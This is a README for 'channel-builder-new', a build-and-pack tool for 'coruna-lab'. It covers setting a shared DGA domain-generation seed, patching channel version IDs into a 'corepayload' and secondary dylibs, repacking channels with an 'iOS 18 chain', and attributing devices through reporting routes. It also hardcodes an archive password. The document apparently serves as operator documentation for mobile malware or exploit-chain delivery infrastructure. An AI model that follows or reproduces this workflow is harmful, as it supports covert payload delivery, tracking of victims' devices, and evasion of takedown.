80 lines
2.9 KiB
Markdown
80 lines
2.9 KiB
Markdown
# channel-builder-new
|
|
|
|
xxbb / weifile builder for coruna-lab. Separate from `channel-builder/`
|
|
(lab `web/` + `sync/` layout).
|
|
|
|
`c` is a **shared DGA seed** (env `XXBB_CHANNEL_C`). After deploy, domains do
|
|
not change, so `c` cannot tell channels apart. Per-channel identity is the
|
|
**version-format** id (exactly 6 chars like `2.2.66` / `A.B.C1`, alnum + dots)
|
|
patched into core `ver` / `sdkv` / `jbsdk_version`.
|
|
|
|
## 1. Build once (shared artifacts)
|
|
|
|
```bash
|
|
cd channel-builder-new
|
|
python3 -m venv .venv
|
|
.venv/bin/pip install -r requirements.txt
|
|
|
|
# specified c
|
|
.venv/bin/python tools/build.py --channel-c <32-hex> --apply --force
|
|
|
|
# or random c
|
|
.venv/bin/python tools/build.py --random-c --apply --force
|
|
|
|
# or from Laravel (uses XXBB_CHANNEL_C when set)
|
|
php artisan xxbb:build
|
|
php artisan xxbb:build --random-c
|
|
php artisan xxbb:build --channel-c=<32-hex>
|
|
```
|
|
|
|
Writes:
|
|
|
|
- `{artifact-root}/details/` (default `../public/details`) — **template published**
|
|
- `{state-root}/out/weifile/` (default `storage/app/channel-builder-new/out/weifile`) — **staged**
|
|
|
|
每个 `details/*.js` 对应哪个 App:见 [`source/details/README.md`](source/details/README.md)。
|
|
|
|
Prints `XXBB_CHANNEL_C=…` and the domain list. Put that `c` in `.env`.
|
|
|
|
Do **not** change the 7zAES password `202800cfb1ad3de68e11239dcc26c30b`.
|
|
|
|
## 2. Pack on channel create
|
|
|
|
Admin create (id like `A.B.C1`) runs:
|
|
|
|
1. `tools/build.py --channel-c $XXBB_CHANNEL_C --apply --force` (always; **no random**)
|
|
2. `tools/pack_channel.py` into `public/channel/{ver}/`
|
|
|
|
`XXBB_CHANNEL_C` must be set in `.env`. Manual `php artisan xxbb:build` is optional
|
|
(ops / refresh shared `/details`); channel create already builds from env.
|
|
|
|
## 3. Repack existing channels
|
|
|
|
Old `public/channel/{ver}/` trees do not pick up new plugins / iOS 18 chain until
|
|
repacked. Channel id, `XXBB_CHANNEL_C`, and delivery domains stay the same:
|
|
|
|
```bash
|
|
php artisan xxbb:repack # all builder_type=new rows
|
|
php artisan xxbb:repack 0.0.01 # one
|
|
php artisan xxbb:repack 0.0.01 1.2.AB
|
|
php artisan xxbb:repack --dry-run
|
|
php artisan xxbb:repack --template=test # 倒计时加载页;默认 blank
|
|
```
|
|
|
|
## Device attribution
|
|
|
|
- **Old channels:** payload `c` is the 32-hex `channel_id`
|
|
- **New channels:** payload `c` is the shared seed. Core routes (`/a`, `/u`,
|
|
`/event`) set `channel_id` from request header `ver` or `sdkv` when present
|
|
and valid (`X.Y.ZZ`). Other xxbb routes create the device without writing
|
|
`channel_id`. Stats use `t.js` → `/statistic/t` with id from the path
|
|
`/channel/{id}/...`.
|
|
|
|
| Flag | What it replaces | Where |
|
|
|------|------------------|--------|
|
|
| `--deployment-seed` | DGA seed slot | secondary dylibs (1 hit each) |
|
|
| `--reporting-seed` | Reporting DGA seed slot | secondary dylibs (1 hit each) |
|
|
| `--channel-c` | Native report / DGA `c` | each secondary (1) + corepayload (6) |
|
|
| `--random-c` | Generate a new `--channel-c` | lab_seeds.json + domains |
|
|
| `--channel-ver` | Core `2.2.66` string | corepayload (pack only) |
|